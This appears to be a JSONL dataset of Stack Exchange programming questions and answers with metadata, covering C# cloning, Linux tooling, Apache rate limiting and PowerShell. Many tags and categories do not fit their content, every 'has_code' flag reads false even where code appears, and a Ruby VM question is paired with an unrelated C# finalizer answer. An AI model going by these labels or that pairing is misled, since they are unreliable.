{"id": "hf_891860dc78b4", "question": "<p>I want a true deep copy. In Java, this was easy, but how do you do it in C#?</p>\n", "question_body": "", "answer": "Important Note\nBinaryFormatter\nhas been deprecated, and will no longer be available in .NET after November 2023.  See\nBinaryFormatter Obsoletion Strategy\nI've seen a few different approaches to this, but I use a generic utility method as such:\n```\n```\npublic static T DeepClone<T>(this T obj)\n{\n using (var ms = new MemoryStream())\n {\n   var formatter = new BinaryFormatter();\n   formatter.Serialize(ms, obj);\n   ms.Position = 0;\n\n   return (T) formatter.Deserialize(ms);\n }\n}\n```\n```\nNotes:\nYour class MUST be marked as\n```\n[Serializable]\n```\nfor this to work.\nYour source file must include the following code:\n```\n```\nusing System.Runtime.Serialization.Formatters.Binary;\n using System.IO;\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:02.400826"}
{"id": "hf_7815b8e13849", "question": "<p>I have an Open Source app and I currently only post the binary for the Windows build. At this point Linux users have to get the source and compile it. Is there a standard way for posting a Linux binary? </p>\n\n<p>My app is in c / c++ and compiled with gcc, the only external Linux code I use is X Windows and CUPS.</p>\n", "question_body": "", "answer": "The most common way would be to package it in a\n.rpm file\nfor\nRedHat\n-based distros like\nFedora\n, or a\n.deb file\nfor\nDebian\n-based distros like\nUbuntu\n.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:02.608717"}
{"id": "hf_bb2d029fb801", "question": "<p>I need to simulate a low bandwidth, high latency connection to a server in order to emulate the conditions of a VPN at a remote site. The bandwidth and latency should be tweakable so I can discover the best combination in order to run our software package.</p>\n", "question_body": "", "answer": "In the past, I have used a bridge using the Linux\nNetem\n(Network Emulation) functionality.  It is highly configurable -- allowing the introduction of delays (the first example is for a WAN), packet loss, corruption, etc.\nI'm noting that Netem worked very well for my applications, but I also ended up using\nWANem\nseveral times. The provided bootable ISO (and virtual appliance images) made it quite handy.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:02.767128"}
{"id": "hf_a2cff02e23cf", "question": "<p>What is a .snk file for?  I know it stands for <strong>Strongly Named Key</strong>, but all explanations of what it is and how it works goes over my head.</p>\n\n<p>Is there any simple explanation on how a strongly named key is used and how it works?</p>\n", "question_body": "", "answer": "The .snk file is used to apply a\nstrong name to a .NET assembly\n. such a strong name consists of\na simple text name, version number,\nand culture information (if\nprovided)—plus a public key and a\ndigital signature.\nThe SNK contains a unique key pair - a private and public key that can be used to ensure that you have a unique strong name for the assembly. When the assembly is strongly-named, a \"hash\" is constructed from the contents of the assembly, and the hash is encrypted with the private key. Then this signed hash is placed in the assembly along with the public key from the .snk.\nLater on, when someone needs to verify the integrity of the strongly-named assembly,\nthey\nbuild a hash of the assembly's contents, and use the public key from the assembly to decrypt the hash that came with the assembly - if the two hashes match, the assembly verification passes.\nIt's important to be able to verify assemblies in this way to ensure that nobody swaps out an assembly for a malicious one that will subvert the whole application. This is why non-strong-named assemblies aren't trusted in the same way that strongly-named assemblies are, so they can't be placed in the GAC. Also, there's a chain of trust - you can't generate a strongly-named assembly that references non-strongly-named assemblies.\nThe article \"\nThe Secrets of Strong Naming (archived at the Wayback Machine)\n\". Does an excellent job of explaining these concepts in more detail. With pictures.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:02.980250"}
{"id": "hf_338859da5400", "question": "<p>What techniques and/or modules are available to implement robust rate limiting (requests|bytes/ip/unit time) in apache?</p>\n", "question_body": "", "answer": "The best\nmod_evasive\n(Focused more on reducing DoS exposure)\nmod_cband\n(Best featured for 'normal' bandwidth control)\nand the rest\nmod_limitipconn\nmod_bw\nmod_bwshare", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:03.159852"}
{"id": "hf_3c40a19e33c6", "question": "<p>How can I send an email from C++? Is there a good cross-platform (MS Windows, Linux etc) library that I can use? I'm using GCC (cygwin on MS Windows).</p>\n", "question_body": "", "answer": "Look at\nVMime\n.\nVMime is an all-in-one Internet mail library. This well designed, powerful C++ class library allows you to parse/build/modify MIME messages. With the messaging module, you can connect to POP3/IMAP/SMTP/Maildir very easily, and with the same code!", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:03.307691"}
{"id": "hf_769a2533d8ab", "question": "<p>Are there any good alternatives that support writing regexps in different flavors and allow you to test them?</p>\n", "question_body": "", "answer": "Here's a list of the Regex tools mentioned across the threads:\nRegulator\nExpresso\n.NET Regular Expression Designer\nRegex-Coach\nlarsolavtorvik online tool\nRegex Pal\nRegular Expression Workbench\nRubular\nReggy\nRegExr", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:03.455591"}
{"id": "hf_71276d6d7b40", "question": "<p>I'd like to find a way to determine how long each function in PHP, and each file in PHP is taking to run.  I've got an old legacy PHP application that I'm trying to find the \"rough spots\" in and so I'd like to locate which routines and pages are taking a very long time to load, objectively. </p>\n\n<p>Are there any pre-made tools that allow for this, or am I stuck using microtime, and building my own profiling framework?</p>\n", "question_body": "", "answer": "take a look into\nxdebug\n, which allows in-depth profiling.  And\nhere's an explanation\nof how to use xdebug.\nXdebug's Profiler is a powerful tool\n  that gives you the ability to analyze\n  your PHP code and determine\n  bottlenecks or generally see which\n  parts of your code are slow and could\n  use a speed boost. The profiler in\n  Xdebug 2 outputs profiling information\n  in the form of a cachegrind compatible\n  file.\nKudos to\nSchizoDuckie\nfor\nmentioning\nWebgrind\n.  This is the first I've heard of it.  Very useful (+1).\nOtherwise, you can use\nkcachegrind\non linux or its lesser derivative\nwincachegrind\n.  Both of those apps will read xdebug's profiler output files and summarize them for your viewing pleasure.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:03.648880"}
{"id": "hf_06508c8c4004", "question": "<p>While writing a file using ofstream, how do I know when the file's size has reached the OS' maximum file size - more specifically linux's maximum file size - ??</p>\n", "question_body": "", "answer": "I think (not 100% sure) that you'd just have to compare the stream's current size after a write to whatever the OS's max file size is. Otherwise I'm guessing the underlying implementation will just let you keep writing until the actual OS io calls fail.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:03.823611"}
{"id": "hf_86cb167eeffe", "question": "<p>What are the advantages/disadvantages of the major Ruby VMs (things like features, compatibility, performance, and quirks?) I know there are also some bonus features like being able to use Java interfaces through JRuby, too. Those would also be helpful to note. Does any VM have a clear advantage at this point, and in what contexts?</p>\n", "question_body": "", "answer": "The Full Code\nYou'll find below the full code, copy/pasted from a Visual C++ 2008 .cs file. As I'm now on Linux, and without any Mono compiler or knowledge about its use, there's no way I can do tests now. Still, a couple of hours ago, I saw this code work and its bug:\n```\n```\nusing System;\nusing System.Threading;\n\npublic class Example\n{\n    private int nValue;\n    public int N { get { return nValue; } }\n\n    // The Hash property is slower because it clones an array. When\n    // KeepAlive is not used, the finalizer sometimes runs before \n    // the Hash property value is read.\n\n    private byte[] hashValue;\n    public byte[] Hash { get { return (byte[])hashValue.Clone(); } }\n    public byte[] Hash2 { get { return (byte[])hashValue; } }\n\n    public int returnNothing() { return 25; }\n\n    public Example()\n    {\n        nValue = 2;\n        hashValue = new byte[20];\n        hashValue[0] = 2;\n    }\n\n    ~Example()\n    {\n        nValue = 0;\n\n        if (hashValue != null)\n        {\n            Array.Clear(hashValue, 0, hashValue.Length);\n        }\n    }\n}\n\npublic class Test\n{\n    private static int totalCount = 0;\n    private static int finalizerFirstCount = 0;\n\n    // This variable controls the thread that runs the demo.\n    private static bool running = true;\n\n    // In order to demonstrate the finalizer running first, the\n    // DoWork method must create an Example object and invoke its\n    // Hash property. If there are no other calls to members of\n    // the Example object in DoWork, garbage collection reclaims\n    // the Example object aggressively. Sometimes this means that\n    // the finalizer runs before the call to the Hash property\n    // completes. \n\n    private static void DoWork()\n    {\n        totalCount++;\n\n        // Create an Example object and save the value of the \n        // Hash property. There are no more calls to members of \n        // the object in the DoWork method, so it is available\n        // for aggressive garbage collection.\n\n        Example ex = new Example();\n\n        // Normal processing\n        byte[] res = ex.Hash;\n\n        // Supposed inlined processing\n        //byte[] res2 = ex.Hash2;\n        //byte[] res = (byte[])res2.Clone();\n\n        // successful try to keep reference alive\n        //ex.returnNothing();\n\n        // Failed try to keep reference alive\n        //ex = null;\n\n        // If the finalizer runs before the call to the Hash \n        // property completes, the hashValue array might be\n        // cleared before the property value is read. The \n        // following test detects that.\n\n        if (res[0] != 2)\n        {\n            finalizerFirstCount++;\n            Console.WriteLine(\"The finalizer ran first at {0} iterations.\", totalCount);\n        }\n\n        //GC.KeepAlive(ex);\n    }\n\n    public static void Main(string[] args)\n    {\n        Console.WriteLine(\"Test:\");\n\n        // Create a thread to run the test.\n        Thread t = new Thread(new ThreadStart(ThreadProc));\n        t.Start();\n\n        // The thread runs until Enter is pressed.\n        Console.WriteLine(\"Press Enter to stop the program.\");\n        Console.ReadLine();\n\n        running = false;\n\n        // Wait for the thread to end.\n        t.Join();\n\n        Console.WriteLine(\"{0} iterations total; the finalizer ran first {1} times.\", totalCount, finalizerFirstCount);\n    }\n\n    private static void ThreadProc()\n    {\n        while (running) DoWork();\n    }\n}\n```\n```\nFor those interested, I can send the zipped project through email.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:03.932097"}
{"id": "hf_237cd1cb1719", "question": "<p>How do I display a leading zero for all numbers with less than two digits?</p>\n<pre class=\"lang-none prettyprint-override\"><code>1    →  01\n10   →  10\n100  →  100\n</code></pre>\n", "question_body": "", "answer": "```\n```\nx = [1, 10, 100]\nfor i in x:\n    print '%02d' % i\n```\n```\nresults in:\n```\n```\n01\n10\n100\n```\n```\nRead\nmore information about string formatting using %\nin the documentation.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:04.078200"}
{"id": "hf_cbe4c2872199", "question": "<p>I'm trying to confirm a user a unplugged my embedded device from a network before performing some maintenance. I'm considering \"ping\"ing all IP address on my sub-net, but that sounds crude. Is there a broadcast/ARP method that might work better?</p>\n", "question_body": "", "answer": "You can try a broadcast ping (this is from linux):\n```\n```\nping -b 255.255.255.255\n```\n```\nAnother option is to download\nNmap\nand do a ping-scan.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:04.204158"}
{"id": "hf_d7e766e9889b", "question": "<p>I've seen several products that will track the sales rank of an item on Amazon. Does Amazon have any web-services published that I can use to get the sales rank of a particular item? </p>\n\n<p>I've looked through the AWS and didn't see anything of that nature.</p>\n", "question_body": "", "answer": "You should be able to determine the Sales Rank by querying for the SalesRank response group when doing an ItemLookup with the Amazon Associates Web Service.\nExample query:\n```\n```\nhttp://ecs.amazonaws.com/onca/xml?\nService=AWSECommerceService&\nAWSAccessKeyId=[AWS Access Key ID]&\nOperation=ItemLookup&\nItemId=0976925524&\nResponseGroup=SalesRank&\nVersion=2008-08-19\n```\n```\nResponse:\n```\n```\n<Item>\n  <ASIN>0976925524</ASIN> \n  <SalesRank>68</SalesRank> \n</Item>\n```\n```\nSee the documentation here:\nhttp://docs.amazonwebservices.com/AWSECommerceService/2008-08-19/DG/index.html?RG_SalesRank.html", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:04.360897"}
{"id": "hf_44e8a599e334", "question": "<p>How do you find the version of an installed Perl module?</p>\n\n<p>This is in an answer down at the bottom, but I figure it important enough to live up here.  With these suggestions, I create a function in my <code>.bashrc</code></p>\n\n<pre><code>function perlmodver {\n    perl -M$1 -e 'print \"Version \" . $ARGV[0]-&gt;VERSION . \" of \" . $ARGV[0] . \\\n    \" is installed.\\n\"' $1\n}\n</code></pre>\n", "question_body": "", "answer": "Most modules (especially ones from The CPAN) have a $VERSION variable:\n```\n```\nperl -MSome::Module -le 'print $Some::Module::VERSION'\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:04.546072"}
{"id": "hf_4e900292acf6", "question": "<p>I'm running <a href=\"http://www.git-scm.com/docs/git-diff\" rel=\"noreferrer\">git-diff</a> on a file, but the change is at the end of a long line.</p>\n\n<p>If I use cursor keys to move right, it loses colour-coding&mdash;and worse the lines don't line up&mdash;making it harder to track the change.</p>\n\n<p>Is there a way to prevent that problem or to simply make the lines wrap instead?</p>\n\n<p>I'm running Git 1.5.5 via mingw32.</p>\n", "question_body": "", "answer": "Not a perfect solution, but\n```\ngitk\n```\nand\n```\ngit-gui\n```\ncan both show this information,\nand have scrollbars.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:04.703258"}
{"id": "hf_1ae769aa5e35", "question": "<p>I'm working on an embedded linux system in C, I'm looking for the source code to the equivalet of SendARP in Windows. Any pointers?</p>\n", "question_body": "", "answer": "This may be of interest:\nhttp://cvs.linux-ha.org/viewcvs/viewcvs.cgi/linux-ha/resources/heartbeat/SendArp.in?rev=1.4\nIt is an implmenetation in a Bourne Shell script.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:04.822459"}
{"id": "hf_1179fe95730d", "question": "<p>I need to find the PID of the current running process on a Linux platform (it can be a system dependent solution).  Java does not support getting the process ID, and JRuby currently has a bug with the Ruby method, Process.pid.</p>\n\n<p>Is there another way to obtain the PID?</p>\n", "question_body": "", "answer": "If you have\nprocfs\ninstalled, you can find the process id via the /proc/self symlink, which points to a directory whose name is the pid (there are also files here with other pertinent information, including the PID, but the directory is all you need in this case).\nThus, with Java, you can do:\n```\n```\nString pid = new File(\"/proc/self\").getCanonicalFile().getName();\n```\n```\nIn JRuby, you can use the same solution:\n```\n```\npid = java.io.File.new(\"/proc/self\").canonical_file.name\n```\n```\nSpecial thanks to the #stackoverflow channel on free node for helping me solve this! (specifically,\nJerub\n,\ngregh\n, and\nTopdeck\n)", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:05.149727"}
{"id": "hf_d7f2317b5027", "question": "<p>Are there any ncurses libraries in C/C++ for Windows that emulate ncurses in native resizable Win32 windows (<em>not</em> in console mode)?</p>\n", "question_body": "", "answer": "Such a thing probably does not exist \"as-is\". It doesn't really exist on Linux or other UNIX-like operating systems either though.\nncurses is only a library that helps you manage interactions with the underlying terminal environment. But it doesn't provide a terminal emulator itself.\nThe thing that actually displays stuff on the screen (which in your requirement is listed as \"native resizable win32 windows\") is usually called a Terminal Emulator. If you don't like the one that comes with Windows (you aren't alone; no person on Earth does) there are a few alternatives. There is\nConsole\n, which in my experience works sometimes and appears to just wrap an underlying Windows terminal emulator (I don't know for sure, but I'm guessing, since there is a menu option to actually get access to that underlying terminal emulator, and sure enough an old crusty Windows/DOS box appears which mirrors everything in the Console window).\nA better option\nAnother option, which may be more appealing is\nputtycyg\n. It hooks in to Putty (which, coming from a Linux background, is pretty close to what I'm used to, and free) but actually accesses an underlying cygwin instead of the Windows command interpreter (\n```\nCMD.EXE\n```\n). So you get all the benefits of Putty's awesome terminal emulator, as well as nice\n```\nncurses\n```\n(and many other) libraries provided by cygwin. Add a couple command line arguments to the Shortcut that launches Putty (or the Batch file) and your app can be automatically launched without going through Putty's UI.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:05.299714"}
{"id": "hf_7579d266ddfa", "question": "<p>is it possible to extend vim functionality via custom extension (preferably, written in Python)?</p>\n\n<p>What I need ideally is custom command when in command mode. E.g.</p>\n\n<p>ESC</p>\n\n<p>:do_this</p>\n\n<p>:do_that</p>\n", "question_body": "", "answer": "vim supports scripting in python (and in perl as well, I think).\nYou just have to make sure that the vim distribution you are using has been compiled with python support.\nIf you are using a Linux system, you can download the source and then compile it with\n```\n```\n./configure --enable-pythoninterp \nmake\nsudo make install\n```\n```\nInside vim, you can type\n```\n```\n:version\n```\n```\nto list the available features; if it has python support, you should see a '+python' somewhere (a '-python' otherwise).\nThen, to check the usage of the python module, you can type\n```\n```\n:help python\n```\n```\nP.S: if you're going to compile the vim sources, make sure to check the available configure options, you might need to specify --with-python-config-dir as well.\nP.P.S: to create a \"custom command in command mode\" (if I understand correctly what you mean), you can create a function \"MyFunction\" in a vim script (using python or the vim scripting language) and then invoke it with\n```\n```\n:Call MyFunction()\n```\n```\nCheck\n```\n```\n:help user-functions\n```\n```\nfor details", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:05.442576"}
{"id": "hf_c816e8ded30b", "question": "<p>For testing purposes I have to generate a file of a certain size (to test an upload limit).  </p>\n\n<p>What is a command to create a file of a certain size on Linux?</p>\n", "question_body": "", "answer": "Use this command:\n```\ndd if=$INPUT-FILE of=$OUTPUT-FILE bs=$BLOCK-SIZE count=$NUM-BLOCKS\n```\nTo create a big (empty) file, set\n```\n$INPUT-FILE=/dev/zero\n```\n.\nTotal size of the file will be\n```\n$BLOCK-SIZE * $NUM-BLOCKS\n```\n.\nNew file created will be\n```\n$OUTPUT-FILE\n```\n.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:05.588751"}
{"id": "hf_6e4b6281011e", "question": "<p>On <strong>Linux/NPTL</strong>, threads are created as some kind of process.</p>\n<p>I can see some of my process have a weird cmdline:</p>\n<pre><code>cat /proc/5590/cmdline \nhald-addon-storage: polling /dev/scd0 (every 2 sec)\n</code></pre>\n<p>Do you have an idea how I could do that for each thread of my process? That would be very helpful for debugging.</p>\n<p><em>/me now investigating in HAL source</em></p>\n", "question_body": "", "answer": "```\nargv\n```\npoints to writable strings. Just write stuff to them:\n```\n```\n#include <string.h>\n#include <unistd.h>\n\nint\nmain(int argc, char** argv)\n{\n    strcpy(argv[0], \"Hello, world!\");\n    sleep(10);\n    return 0;\n}\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:05.732922"}
{"id": "hf_2f09ce1eed33", "question": "<p>I have a custom performance counter category. Visual Studio Server Explorer refuses to delete it, claiming it is 'not registered or a system category'. Short of doing it programmatically, how can I delete the category? Is there a registry key I can delete?</p>\n", "question_body": "", "answer": "As far as I know, there\nis no way\nto safely delete them except programatically (they're intended for apps to create and remove during install) but it is trivial to do from a\nPowerShell\ncommand-line console. Just run this command:\n```\n```\n[Diagnostics.PerformanceCounterCategory]::Delete( \"Your Category Name\" )\n```\n```\nHOWEVER: (EDIT)\nYou\ncan\ndelete the registry key that's created, and that will make the category vanish.\nFor a category called \"Inventory\" you can delete the whole key at\n```\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Inventory\n```\n... and although\nI wouldn't be willing to bet that cleans up everything\n, it\nwill\nmake the category disappear. (If you run\nProcess Monitor\nwhile running the Delete() method, you can see can a lot of other activity happening, and there doesn't seem to be any other\nchanges\nmade).\nIt's important to note that\nas I said originally\n: when you get that error from Visual Studio, it might be that it's already deleted and you need to refresh the view in VS.  In my testing, I had to restart applications in order to get them to actually get a clean list of the available categories.\nYou can check the full list of categories from PowerShell to see if it's listed:\n```\n```\n[Diagnostics.PerformanceCounterCategory]::GetCategories() | Format-Table -auto\n```\n```\nBut if you check them, then delete the registry key ... they'll still show up, until you restart PowerShell (if you start another instance, you can run the same query over there, and it will NOT show the deleted item, but re-running GetCategories in the first one will continue showing it.\nBy the way, you can filter that list if you want to using -like for patterns, or -match for full regular expressions:\n```\n```\n[Diagnostics.PerformanceCounterCategory]::GetCategories() | Where {$_.CategoryName -like \"*network*\" } | Format-Table -auto\n[Diagnostics.PerformanceCounterCategory]::GetCategories() | Where {$_.CategoryName -match \"^SQL.*Stat.*\" } | Format-Table -auto\n```\n```", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:05.890380"}
{"id": "hf_f08d6916f930", "question": "<p>I downloaded Hex Workshop, and I was told to read a .dbc file.</p>\n\n<blockquote>\n  <p>It should contain 28,315 if you read\n  offset 0x04 and 0x05</p>\n</blockquote>\n\n<p>I am unsure how to do this? What does 0x04 mean?</p>\n", "question_body": "", "answer": "0x04 is hex for 4 (the 0x is just a common prefix convention for base 16 representation of numbers - since many people think in decimal), and that would be the fourth byte (since they are saying offset, they probably count the first byte as byte 0, so offset 0x04 would be the 5th byte).\nI guess they are saying that the 4th and 5th byte together would be 28315, but did they say if this is little-endian or big-endian?\n28315 (decimal) is 0x6E9B in hexadecimal notation, probably in the file in order 0x9B 0x6E if it's little-endian.\nNote: Little-endian and big-endian refer to the order bytes are written.  Humans typical write decimal notation and hexadecimal in a big-endian way, so:\n256 would be written as 0x0100 (digits on the left are the biggest scale)\nBut that takes two bytes and little-endian systems will write the low byte first: 0x00 0x01.  Big-endian systems will write the high-byte first: 0x01 0x00.\nTypically Intel systems are little-endian and other systems vary.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:06.053628"}
{"id": "hf_691376f55f01", "question": "<p>I have a <a href=\"http://en.wikipedia.org/wiki/Red_Hat_Enterprise_Linux\" rel=\"noreferrer\">RHEL</a> box that I need to put under a moderate and variable amount of CPU load (50%-75%).</p>\n\n<p>What is the best way to go about this? Is there a program that can do this that I am not aware of? I am happy to write some C code to make this happen, I just don't know what system calls will help.</p>\n", "question_body": "", "answer": "You can probably use some load-generating tool to accomplish this, or run a script to take all the CPU cycles and then use\nnice\nand\n```\nrenice\n```\non the process to vary the percentage of cycles that the process gets.\nHere is a sample bash script that will occupy all the free CPU cycles:\n```\n```\n#!/bin/bash\nwhile true ; do\ntrue\ndone\n```\n```", "tags": ["linux", "bash"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:06.234851"}
{"id": "hf_08d15872028e", "question": "<p>I am testing a Ruby Rails website and wanted to get started with Unit and Functional testing.</p>\n", "question_body": "", "answer": "Cucumber\nand\nRSpec\nare worth a look.  They encourage testing in a\nbehaviour-driven\n, example-based style.\nRSpec is a library for unit-level testing:\n```\n```\ndescribe \"hello_world\"\n  it \"should say hello to the world\" do\n    # RSpec comes with its own mock-object framework built in,\n    # though it lets you use others if you prefer\n    world = mock(\"World\", :population => 6e9)\n    world.should_receive(:hello)\n    hello_world(world)\n  end\nend\n```\n```\nIt has special support for Rails (e.g. it can test models, views and controllers in isolation) and can replace the testing mechanisms built in to Rails.\nCucumber (formerly known as the RSpec Story Runner) lets you write high-level acceptance tests in (fairly) plain English that you could show to (and agree with) a customer, then run them:\n```\n```\nStory: Commenting on articles\n\n  As a visitor to the blog\n  I want to post comments on articles\n  So that I can have my 15 minutes of fame\n\n  Scenario: Post a new comment\n\n    Given I am viewing an article\n    When I add a comment \"Me too!\"\n    And I fill in the CAPTCHA correctly\n    Then I should see a comment \"Me too!\"\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:06.400365"}
{"id": "hf_ff01577062aa", "question": "<p>How do I deploy an ADF business component to the middle tier and call it using <a href=\"http://en.wikipedia.org/wiki/Java_remote_method_invocation\" rel=\"nofollow noreferrer\">RMI</a>?</p>\n\n<p>I just cannot find any good documentation on this!</p>\n", "question_body": "", "answer": "I guess you mean something like:\nHow to install ADF 10 runtime and deploy ADF BC app to Oracle WebLogic 103 running on Linux\nOracle Application Development Framework - Development Guidelines (10g)\n(PDF format).", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:06.724494"}
{"id": "hf_88059a13398b", "question": "<p>I'm wondering if mono.net is included in the default installation of Ubuntu, Kubuntu, and Fedora, and other popular distros?</p>\n\n<p>If so, does anyone have a good reason why NOT to use it to develop a new GUI application targeted mainly for linux?</p>\n", "question_body": "", "answer": "I'm wondering if mono.net is included in the default installation of Ubuntu, Kubuntu, and Fedora, and other popular distros?\nI don't believe Ubuntu comes with it by default, Kubuntu certainly doesn't.\nUbuntu Intrepid, and probably Hardy, comes with Mono by default. Don't know about its status on other distros.\nIf so, does anyone have a good reason why NOT to use it to develop a new GUI application targeted mainly for linux?\nIf it's targeted mainly at Linux, why not use a technology that integrates better with the Linux desktop? Python and Java are good choices. Only use .NET if there's a large amount of legacy code you'll be re-using.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:06.875992"}
{"id": "hf_a5c5393a1b89", "question": "<p>Could any one give an explanation on how a DHT works?</p>\n\n<p>Nothing too heavy, just the basics.</p>\n", "question_body": "", "answer": "DHTs provide the same type of interface to the user as a normal hashtable (look up a value by key), but the data is distributed over an arbitrary number of connected nodes.  Wikipedia has a good basic introduction that I would essentially be regurgitating if I write more -\nhttp://en.wikipedia.org/wiki/Distributed_hash_table", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:07.005585"}
